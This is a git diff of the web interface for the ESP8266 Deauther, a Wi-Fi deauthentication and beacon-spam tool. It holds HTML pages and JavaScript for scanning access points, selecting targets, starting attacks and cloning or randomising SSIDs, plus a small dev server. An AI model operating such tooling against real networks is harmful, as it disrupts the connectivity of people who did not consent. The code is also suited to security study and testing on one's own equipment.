0x00, 0x00, 0x68, 0x00, 0xB0, 0x00, 0xB8, // 235
|
||||
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 236
|
||||
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 237
|
||||
0x00, 0x00, 0x98, 0x00, 0xF8, 0x00, 0x88, // 238
|
||||
0x00, 0x00, 0x98, 0x00, 0xF0, 0x00, 0x88, // 239
|
||||
0x00, 0x00, 0x60, 0x00, 0x9C, 0x00, 0x98, 0x00, 0x74, // 240
|
||||
0x00, 0x00, 0xF8, 0x00, 0x18, 0x00, 0x18, 0x00, 0xF0, // 241
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 242
|
||||
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 243
|
||||
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 244
|
||||
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 245
|
||||
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x90, 0x00, 0x68, // 246
|
||||
0x20, 0x00, 0x20, 0x00, 0x68, 0x00, 0x20, // 247
|
||||
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 248
|
||||
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x80, 0x00, 0xF0, // 249
|
||||
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 250
|
||||
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x88, 0x00, 0xF0, // 251
|
||||
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 252
|
||||
0x10, 0x00, 0x60, 0x01, 0xC8, 0x00, 0x30, // 253
|
||||
0x00, 0x00, 0xFC, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 254
|
||||
0x10, 0x00, 0x68, 0x01, 0xC0, 0x00, 0x38 // 255
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
#endif
|
|
@ -0,0 +1,66 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<div id="error" class="hide"></div>
|
||||
|
||||
<h1 class="header">{h1}</h1>
|
||||
|
||||
<a id="scanInfo" class="left labelFix">{a1}</a>
|
||||
|
||||
<button onclick="scan()" id="apScanStart" class="right button-primary">{button1}</button>
|
||||
|
||||
<p class="clear">
|
||||
{p1} <span id="networksFound">0</span><br />
|
||||
{p2} <span id="apMAC"></span><br />
|
||||
<br />
|
||||
<span id="selectAllBtns" style="visibility:'hidden'">
|
||||
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
|
||||
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button>
|
||||
<br />
|
||||
</span>
|
||||
|
||||
</p>
|
||||
|
||||
<table></table>
|
||||
|
||||
<p class="small">
|
||||
<span class="red">{p3} </span><span class="bold">{p4}</span>
|
||||
<br />
|
||||
<br />
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
<script data-src="js/apscan.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,125 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<div id="error" class="hide"></div>
|
||||
|
||||
<h1 class="header">{h1}</h1>
|
||||
|
||||
<p class="bold">{p1} <button onclick='cloneSelected()'>{button1}</button></p>
|
||||
<ul id="selectedAPs"></ul>
|
||||
|
||||
<p class="bold">{p2}</p>
|
||||
<ul id="selectedClients"></ul>
|
||||
|
||||
<table></table>
|
||||
|
||||
<label class="left">
|
||||
<input type="number" id="randomIntrvl" value="5" min="1" max="65000"/>s
|
||||
</label>
|
||||
|
||||
<button class="right" id="randomBtn" onclick="random()">{button2}</button>
|
||||
|
||||
<p class="clear">
|
||||
<br />
|
||||
<span class="red">{p3} </span><span class="bold">{p4}</span><br />
|
||||
{p5}
|
||||
</p>
|
||||
|
||||
<hr />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="ssid">{label1}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="text" id="ssid" minlength="1" maxlength="32" placeholder="{placeholder1}" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="num">{label2}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="number" id="num" min="0" max="48" value="0" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-6">
|
||||
<label for="enc">{label3}</label>
|
||||
</div>
|
||||
<div class="col-6">
|
||||
<input type="checkbox" id="enc" name="enc" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<button class="button-primary col-4" onclick="addSSID()">{button3}</button>
|
||||
|
||||
<hr />
|
||||
|
||||
<p class="left">{p6} <span id="ssidCounter">0/48</span></p>
|
||||
|
||||
<div class="right">
|
||||
<button class="red" onclick="clearSSID()">{button4}</button>
|
||||
<button onclick="randomSSID()">{button5}</button>
|
||||
</div>
|
||||
|
||||
<table></table>
|
||||
|
||||
<button class="marginNull red" onclick="resetSSID()">{button6}</button>
|
||||
<button class="marginNull button-primary right" onclick="saveSSID()">{button7}</button>
|
||||
|
||||
<p class="small" id="saved">{p7}</p>
|
||||
|
||||
<p>
|
||||
<br />
|
||||
<span class="bold">{p8}</span><br />
|
||||
{p9}<br />
|
||||
<br />
|
||||
<span class="bold">{pa}</span><br />
|
||||
{pb}<br />
|
||||
<br />
|
||||
<span class="bold">{pc}</span><br />
|
||||
{pd}
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
<script data-src="js/attack.js"></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,32 @@
|
|||
#
|
||||
# this is a small ruby webserver for fast UI development
|
||||
# make sure you have ruby and rack gem
|
||||
#
|
||||
# $ sudo gem install rack
|
||||
#
|
||||
# once installed, run this:
|
||||
#
|
||||
# $ rackup config.ru
|
||||
#
|
||||
# and access the given port on localhost
|
||||
#
|
||||
|
||||
|
||||
require "net/http"
|
||||
require "uri"
|
||||
|
||||
# app root
|
||||
@root = File.expand_path(File.dirname(__FILE__))
|
||||
|
||||
run Proc.new { |env|
|
||||
request = Rack::Request.new(env)
|
||||
path = Rack::Utils.unescape(env['PATH_INFO'])
|
||||
index_file = @root + "#{path}/index.html"
|
||||
if File.exists?(index_file)
|
||||
# Return the index
|
||||
[200, {'Content-Type' => 'text/html'}, [File.read(index_file)]]
|
||||
else
|
||||
# Pass the request to the directory app
|
||||
Rack::Directory.new(@root).call(env)
|
||||
end
|
||||
}
|
|
@ -0,0 +1,36 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">{h1}</h1>
|
||||
<p class="centered bold"><br />{p1}</p>
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
</body>
|
||||
</html>
|
Binary file not shown.
After Width: | Height: | Size: 5.4 KiB |
|
@ -0,0 +1,47 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js" defer async></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
<h1 class="header">{h1}</h1>
|
||||
|
||||
<p class="centered bold">
|
||||
{p1}<br />
|
||||
{p2}<br />
|
||||
<br />
|
||||
<span class="warn">{p3}</span><br />
|
||||
<br />
|
||||
{p4}<br />
|
||||
{p5}<br />
|
||||
<br />
|
||||
{p6}
|
||||
<br />
|
||||
{p7} <a href="https://github.com/spacehuhn/esp8266_deauther">github.com/spacehuhn/esp8266_deauther</a> {p8}<br />
|
||||
<br />
|
||||
<br />
|
||||
<a class="button" href="apscan.html">{p9}</a>
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,90 @@
|
|||
<!Doctype html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
|
||||
<meta name="description" content="Wi-Fi Deauthenticator">
|
||||
<meta name="author" content="Spacehuhn - Stefan Kremser">
|
||||
<meta name="theme-color" content="#36393E" />
|
||||
<title>ESP8266 Deauther</title>
|
||||
<link rel="stylesheet" href="style.css">
|
||||
<script src="js/functions.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<nav>
|
||||
<a href="apscan.html">{APs}</a>
|
||||
<a href="stations.html">{Stations}</a>
|
||||
<a href="attack.html">{Attacks}</a>
|
||||
<a href="settings.html">{Settings}</a>
|
||||
<a class="right" href="info.html">{Info}</a>
|
||||
</nav>
|
||||
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-12">
|
||||
|
||||
<h1 class="header">{h1}</h1>
|
||||
|
||||
<h2>{h2}</h2>
|
||||
<p>
|
||||
<span class="bold">Copyright (c) 2017 Stefan Kremser</span><br />
|
||||
<br />
|
||||
{p1} <a href="license">{a1}</a> {p2}<br />
|
||||
{p3} <a href="https://github.com/spacehuhn/esp8266_deauther" target="_blank">{a2}</a>.<br />
|
||||
<br />
|
||||
{p4}<br />
|
||||
<br />
|
||||
<span class="bold">{p5}</span>
|
||||
</p>
|
||||
|
||||
<h2>Contributors</h2>
|
||||
<p>
|
||||
<a href="https://github.com/N0vaPixel" target="_blank">@N0vaPixel</a> (Aurélien Hernandez)<br />
|
||||
<a href="https://github.com/SaltyViper" target="_blank">@SaltyViper</a><br />
|
||||
<a href="https://github.com/tobozo" target="_blank">@tobozo</a><br />
|
||||
<a href="https://github.com/andrbmgi" target="_blank">@andrbmgi</a><br />
|
||||
<a href="https://github.com/dalmirdasilva" target="_blank">@dalmirdasilva</a> (Dalmir da Silva)<br />
|
||||
<a href="https://github.com/ericktedeschi" target="_blank">@ericktedeschi</a> (Erick Belluci Tedeschi)<br />
|
||||
<a href="https://github.com/SamuelKlit" target="_blank">@SamuelKlit</a> (Samuel KS)<br />
|
||||
<a href="https://github.com/schinfo" target="_blank">@schinfo</a> (Helmut)<br />
|
||||
<a href="https://github.com/ajnavarro" target="_blank">@ajnavarro</a> (Antonio Navarro Perez)<br />
|
||||
<a href="https://github.com/rubfi" target="_blank">@rubfi</a><br />
|
||||
|
||||
<br />
|
||||
Also special thanks to <a href="https://github.com/deantonious" target="_blank">@deantonious</a> for the help with the webdesign!<br />
|
||||
<br />
|
||||
For more information go to <a href="https://github.com/spacehuhn/esp8266_deauther/graphs/contributors">contributors</a> on this projects GitHub page.
|
||||
</p>
|
||||
|
||||
<h2>Credits</h2>
|
||||
<p>
|
||||
<a href="https://github.com/ThisIsDallas/Simple-Grid">SIMPLE GRID</a> - (C) ZACH COLE 2016<br />
|
||||
<br />
|
||||
{p6}<br />
|
||||
Source: <a href="https://www.wireshark.org/tools/oui-lookup.html">https://www.wireshark.org/tools/oui-lookup.html</a><br />
|
||||
{p7}<br />
|
||||
</p>
|
||||
|
||||
<h2>{p8}</h2>
|
||||
<p>
|
||||
Web: spacehuhn.de<br />
|
||||
GitHub: github.com/spacehuhn<br />
|
||||
Twitter: @spacehuhn<br />
|
||||
E-mail: mail@spacehuhn.de<br />
|
||||
<br />
|
||||
{p9} <a target="_blank" href="https://patreon.com/spacehuhn">patreon.com/spacehuhn</a>.<br />
|
||||
<br />
|
||||
{pa} <a target="_blank" href="https://www.tindie.com/stores/lspoplove/">tindie.com/stores/lspoplove</a>.
|
||||
</p>
|
||||
|
||||
<div id="copyright">
|
||||
Version 1.6<br />
|
||||
Copyright (c) 2017 Stefan Kremser<br />
|
||||
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="js/l10n.js" async defer></script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,100 @@
|
|||
var table = document.getElementsByTagName('table')[0];
|
||||
var networkInfo = getE('networksFound');
|
||||
var scanInfo = getE('scanInfo');
|
||||
var apMAC = getE('apMAC');
|
||||
var startStopScan = getE('startStopScan');
|
||||
var selectAllBtns = getE('selectAllBtns');
|
||||
var autoScan = false;
|
||||
|
||||
function toggleScan(onoff) {
|
||||
if (onoff && !autoScan) scanInfo.style.visibility = 'hidden';
|
||||
else scanInfo.style.visibility = 'visible';
|
||||
}
|
||||
|
||||
function compare(a, b) {
|
||||
if (a.r > b.r) return -1;
|
||||
if (a.r < b.r) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
function getStatus(enc, hid) {
|
||||
/*
|
||||
if (enc == 8) return "WPA*";
|
||||
else if (enc == 4) return "WPA2";
|
||||
else if (enc == 2) return "WPA";
|
||||
else if (enc == 7) return "none";
|
||||
else if (enc == 5) return "WEP";
|
||||
*/
|
||||
var buff = "";
|
||||
if (enc != 7) buff += "🔒 ";
|
||||
if (hid == 1) buff += "👻 ";
|
||||
return buff;
|
||||
}
|
||||
|
||||
function getResults() {
|
||||
toggleScan(true);
|
||||
getResponse("APScanResults.json", function(responseText) {
|
||||
var res;
|
||||
try {
|
||||
res = JSON.parse(responseText);
|
||||
} catch(e) {
|
||||
// wut
|
||||
showMessage(_("JSON Parsing failed :-("), 2500);
|
||||
return;
|
||||
}
|
||||
// TODO: more sanity checks on res && res.aps
|
||||
res.aps = res.aps.sort(compare);
|
||||
networkInfo.innerHTML = res.aps.length;
|
||||
apMAC.innerHTML = "";
|
||||
|
||||
if (res.multiAPs == 1) selectAllBtns.style.visibility = 'visible';
|
||||
else selectAllBtns.style.visibility = 'hidden';
|
||||
|
||||
var tr = '';
|
||||
if (res.aps.length > 0) {
|
||||
tr += '<tr><th>Ch</th><th>' + _('SSID') + '</th><th> </th><th>' + _('RSSI') + '</th><th>' + _('Select') + '</th></tr>';
|
||||
}
|
||||
|
||||
for (var i = 0; i < res.aps.length; i++) {
|
||||
|
||||
if (res.aps[i].se == 1) tr += '<tr class="selected">';
|
||||
else tr += '<tr>';
|
||||
tr += '<td>' + res.aps[i].c + '</td>';
|
||||
tr += '<td>' + escapeHTML(res.aps[i].ss) + '</td>';
|
||||
tr += '<td>' + getStatus(res.aps[i].e, res.aps[i].h) + '</td>';
|
||||
//tr += '<td>' + res.aps[i].r + ' <meter value="' + res.aps[i].r + '" max="-30" min="-100" low="-80" high="-60" optimum="-50"></meter></td>';
|
||||
var _width = res.aps[i].r + 130;
|
||||
var _color;
|
||||
if(res.aps[i].r < -80) _color = "meter_red";
|
||||
else if(res.aps[i].r < -60) _color = "meter_orange";
|
||||
else _color = "meter_green";
|
||||
tr += '<td><div class="meter_background"> <div class="meter_forground '+_color+'" style="width: '+_width+'%;"><div class="meter_value">' + res.aps[i].r + '</div></div> </div></td>';
|
||||
|
||||
if (res.aps[i].se) {
|
||||
tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('deselect') + '</button></td>';
|
||||
apMAC.innerHTML = res.aps[i].m;
|
||||
}
|
||||
else tr += '<td><button class="select" onclick="select(' + res.aps[i].i + ')">' + _('select') + '</button></td>';
|
||||
tr += '</tr>';
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
});
|
||||
}
|
||||
|
||||
function scan() {
|
||||
toggleScan(false);
|
||||
getResponse("APScan.json", function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error APScan.json"));
|
||||
toggleScan(true);
|
||||
});
|
||||
}
|
||||
|
||||
function select(num) {
|
||||
getResponse("APSelect.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error APSelect.json"));
|
||||
});
|
||||
}
|
||||
|
||||
getResults();
|
|
@ -0,0 +1,124 @@
|
|||
var selectedAPs = getE("selectedAPs");
|
||||
var selectedClients = getE("selectedClients");
|
||||
var table = document.getElementsByTagName("table")[0];
|
||||
var ssidList = document.getElementsByTagName("table")[1];
|
||||
var saved = getE("saved");
|
||||
var ssidCounter = getE("ssidCounter");
|
||||
var ssid = getE("ssid");
|
||||
var num = getE("num");
|
||||
var enc = getE("enc");
|
||||
var randomIntrvl = getE("randomIntrvl");
|
||||
var randomBtn = getE("randomBtn");
|
||||
var resultInterval;
|
||||
var data = {};
|
||||
|
||||
function getResults() {
|
||||
getResponse("attackInfo.json", function(responseText) {
|
||||
var res;
|
||||
try {
|
||||
res = JSON.parse(responseText);
|
||||
} catch(e) {
|
||||
// wut
|
||||
showMessage(_("JSON Parsing failed :-("), 2500);
|
||||
return;
|
||||
}
|
||||
// TODO: more sanity checks on res && res.aps
|
||||
var aps = "";
|
||||
var clients = "";
|
||||
var tr = "<tr><th>" + _('Attack') + "</th><th>" + _('Status') + "</th><th>" + _('Start/Stop') + "</th></tr>";
|
||||
for (var i = 0; i < res.aps.length; i++) aps += "<li>" + escapeHTML(res.aps[i]) + "</li>";
|
||||
for (var i = 0; i < res.clients.length; i++) clients += "<li>" + escapeHTML(res.clients[i]) + "</li>";
|
||||
|
||||
selectedAPs.innerHTML = aps;
|
||||
selectedClients.innerHTML = clients;
|
||||
|
||||
if(res.randomMode == 1) randomBtn.innerHTML = _("Disable Random");
|
||||
else randomBtn.innerHTML = _("Enable Random");
|
||||
|
||||
for (var i = 0; i < res.attacks.length; i++) {
|
||||
if (res.attacks[i].running) tr += "<tr class='selected'>";
|
||||
else tr += "<tr>";
|
||||
|
||||
tr += "<td>" + res.attacks[i].name + "</td>";
|
||||
if (res.attacks[i].status == "ready") tr += "<td class='green status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
|
||||
else tr += "<td class='red status' id='status"+i+"'>" + res.attacks[i].status + "</td>";
|
||||
if (res.attacks[i].running) tr += "<td><button class='select' onclick='startStop(" + i + ")'>stop</button></td>";
|
||||
else tr += "<td><button class='select' onclick='startStop(" + i + ")'>" + _('start') + "</button></td>";
|
||||
|
||||
tr += "</tr>";
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
|
||||
if(typeof res.ssid != 'undefined'){
|
||||
data = res.ssid;
|
||||
ssidCounter.innerHTML = data.length + "/48";
|
||||
|
||||
var tr = "<tr><th>"+ _('Name') + "</th><th></th><th>" + _('Del.') + "</th></tr>";
|
||||
for (var i = 0; i < data.length; i++) {
|
||||
tr += "<tr>";
|
||||
tr += "<td>" + escapeHTML(data[i][0]) + "</td>";
|
||||
if(data[i][1] == 1) tr += "<td>🔒</td>";
|
||||
else tr += "<td></td>";
|
||||
tr += '<td><button class="button-warn" onclick="deleteSSID(' + i + ')">x</button></td>';
|
||||
tr += "</tr>";
|
||||
}
|
||||
ssidList.innerHTML = tr;
|
||||
}
|
||||
|
||||
}, function() {
|
||||
clearInterval(resultInterval);
|
||||
showMessage(_("error loading attackInfo.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function startStop(num) {
|
||||
getResponse("attackStart.json?num=" + num, function(responseText) {
|
||||
getE("status"+num).innerHTML = "loading";
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error attackStart.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function addSSID() {
|
||||
|
||||
var _ssidName = ssid.value;
|
||||
if(_ssidName.length > 0){
|
||||
if(data.length >= 64) showMessage(_("SSID list full :("), 2500);
|
||||
else{
|
||||
saved.innerHTML = "";
|
||||
getResponse("addSSID.json?ssid=" + _ssidName + "&num="+num.value + "&enc=" + enc.checked, getResults);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function cloneSelected() {
|
||||
getResponse("cloneSelected.json", getResults);
|
||||
}
|
||||
|
||||
function deleteSSID(num) {
|
||||
saved.innerHTML = "";
|
||||
getResponse("deleteSSID.json?num=" + num, getResults);
|
||||
}
|
||||
|
||||
function randomSSID() {
|
||||
saved.innerHTML = "";
|
||||
getResponse("randomSSID.json", getResults);
|
||||
}
|
||||
function clearSSID() {
|
||||
saved.innerHTML = "";
|
||||
getResponse("clearSSID.json", getResults);
|
||||
}
|
||||
function saveSSID() {
|
||||
saved.innerHTML = "saved";
|
||||
getResponse("saveSSID.json", getResults);
|
||||
}
|
||||
function resetSSID() {
|
||||
saved.innerHTML = "saved";
|
||||
getResponse("resetSSID.json", getResults);
|
||||
}
|
||||
function random(){
|
||||
getResponse("enableRandom.json?interval="+randomIntrvl.value, getResults);
|
||||
}
|
||||
|
||||
getResults();
|
||||
resultInterval = setInterval(getResults, 2000);
|
|
@ -0,0 +1,66 @@
|
|||
function getE(name){
|
||||
return document.getElementById(name);
|
||||
}
|
||||
|
||||
function escapeHTML(str) {
|
||||
return str
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/\"/g, '"')
|
||||
.replace(/\'/g, ''')
|
||||
.replace(/\//g, '/')
|
||||
}
|
||||
|
||||
function showMessage(msg, closeAfter){
|
||||
var errorE = getE("error");
|
||||
errorE.innerHTML = msg;
|
||||
|
||||
errorE.classList.remove('hide');
|
||||
errorE.classList.add('show');
|
||||
|
||||
if(closeAfter !== undefined){
|
||||
setTimeout(function(){
|
||||
errorE.innerHTML = "";
|
||||
errorE.classList.remove('show');
|
||||
errorE.classList.add('hide');
|
||||
},closeAfter);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function getResponse(adr, callback, timeoutCallback, timeout, method){
|
||||
|
||||
if(timeoutCallback === undefined) {
|
||||
timeoutCallback = function(){
|
||||
showMessage(_("Timeout loading") +" "+adr);
|
||||
};
|
||||
}
|
||||
if(timeout === undefined) timeout = 8000;
|
||||
if(method === undefined) method = "GET";
|
||||
var xmlhttp = new XMLHttpRequest();
|
||||
xmlhttp.onreadystatechange = function() {
|
||||
if(xmlhttp.readyState == 4){
|
||||
if(xmlhttp.status == 200){
|
||||
callback(xmlhttp.responseText);
|
||||
}
|
||||
else timeoutCallback();
|
||||
}
|
||||
};
|
||||
xmlhttp.open(method, adr, true);
|
||||
xmlhttp.send();
|
||||
xmlhttp.timeout = timeout;
|
||||
xmlhttp.ontimeout = timeoutCallback;
|
||||
|
||||
xmlhttp.onabort = function(e) {
|
||||
showMessage(_("ABORT")+" "+adr);
|
||||
};
|
||||
xmlhttp.onerror = function(e) {
|
||||
showMessage(_("ERROR loading")+" "+adr +" :: "+ this.statusText);
|
||||
};
|
||||
|
||||
}
|
||||
|
||||
function _(l10nid) {
|
||||
return l10n.jsStrings[l10nid];
|
||||
}
|
|
@ -0,0 +1,244 @@
|
|||
/* localstorage polyfill (supports Safari Private browsing mode /w fallback to cookie */
|
||||
|
||||
// Refer to https://gist.github.com/remy/350433
|
||||
try {
|
||||
// Test webstorage existence.
|
||||
if (!window.localStorage || !window.sessionStorage) throw "exception";
|
||||
// Test webstorage accessibility - Needed for Safari private browsing.
|
||||
localStorage.setItem('storage_test', 1);
|
||||
localStorage.removeItem('storage_test');
|
||||
} catch(e) {
|
||||
(function () {
|
||||
var Storage = function (type) {
|
||||
function createCookie(name, value, days) {
|
||||
var date, expires;
|
||||
|
||||
if (days) {
|
||||
date = new Date();
|
||||
date.setTime(date.getTime()+(days*24*60*60*1000));
|
||||
expires = "; expires="+date.toGMTString();
|
||||
} else {
|
||||
expires = "";
|
||||
}
|
||||
document.cookie = name+"="+value+expires+"; path=/";
|
||||
}
|
||||
|
||||
function readCookie(name) {
|
||||
var nameEQ = name + "=",
|
||||
ca = document.cookie.split(';'),
|
||||
i, c;
|
||||
|
||||
for (i=0; i < ca.length; i++) {
|
||||
c = ca[i];
|
||||
while (c.charAt(0)==' ') {
|
||||
c = c.substring(1,c.length);
|
||||
}
|
||||
|
||||
if (c.indexOf(nameEQ) == 0) {
|
||||
return c.substring(nameEQ.length,c.length);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function setData(data) {
|
||||
// Convert data into JSON and encode to accommodate for special characters.
|
||||
data = encodeURIComponent(JSON.stringify(data));
|
||||
// Create cookie.
|
||||
if (type == 'session') {
|
||||
createCookie(getSessionName(), data, 365);
|
||||
} else {
|
||||
createCookie('localStorage', data, 365);
|
||||
}
|
||||
}
|
||||
|
||||
function clearData() {
|
||||
if (type == 'session') {
|
||||
createCookie(getSessionName(), '', 365);
|
||||
} else {
|
||||
createCookie('localStorage', '', 365);
|
||||
}
|
||||
}
|
||||
|
||||
function getData() {
|
||||
// Get cookie data.
|
||||
var data = type == 'session' ? readCookie(getSessionName()) : readCookie('localStorage');
|
||||
// If we have some data decode, parse and return it.
|
||||
return data ? JSON.parse(decodeURIComponent(data)) : {};
|
||||
}
|
||||
|
||||
function getSessionName() {
|
||||
// If there is no name for this window, set one.
|
||||
// To ensure it's unquie use the current timestamp.
|
||||
if(!window.name) {
|
||||
window.name = new Date().getTime();
|
||||
}
|
||||
return 'sessionStorage' + window.name;
|
||||
}
|
||||
|
||||
// Initialise if there's already data.
|
||||
var data = getData();
|
||||
|
||||
return {
|
||||
length: 0,
|
||||
clear: function () {
|
||||
data = {};
|
||||
this.length = 0;
|
||||
clearData();
|
||||
},
|
||||
getItem: function (key) {
|
||||
return data[key] === undefined ? null : data[key];
|
||||
},
|
||||
key: function (i) {
|
||||
// not perfect, but works
|
||||
var ctr = 0;
|
||||
for (var k in data) {
|
||||
if (ctr == i) return k;
|
||||
else ctr++;
|
||||
}
|
||||
return null;
|
||||
},
|
||||
removeItem: function (key) {
|
||||
delete data[key];
|
||||
this.length--;
|
||||
setData(data);
|
||||
},
|
||||
setItem: function (key, value) {
|
||||
data[key] = value+''; // forces the value to a string
|
||||
this.length++;
|
||||
setData(data);
|
||||
}
|
||||
};
|
||||
};
|
||||
|
||||
// Replace window.localStorage and window.sessionStorage with out custom
|
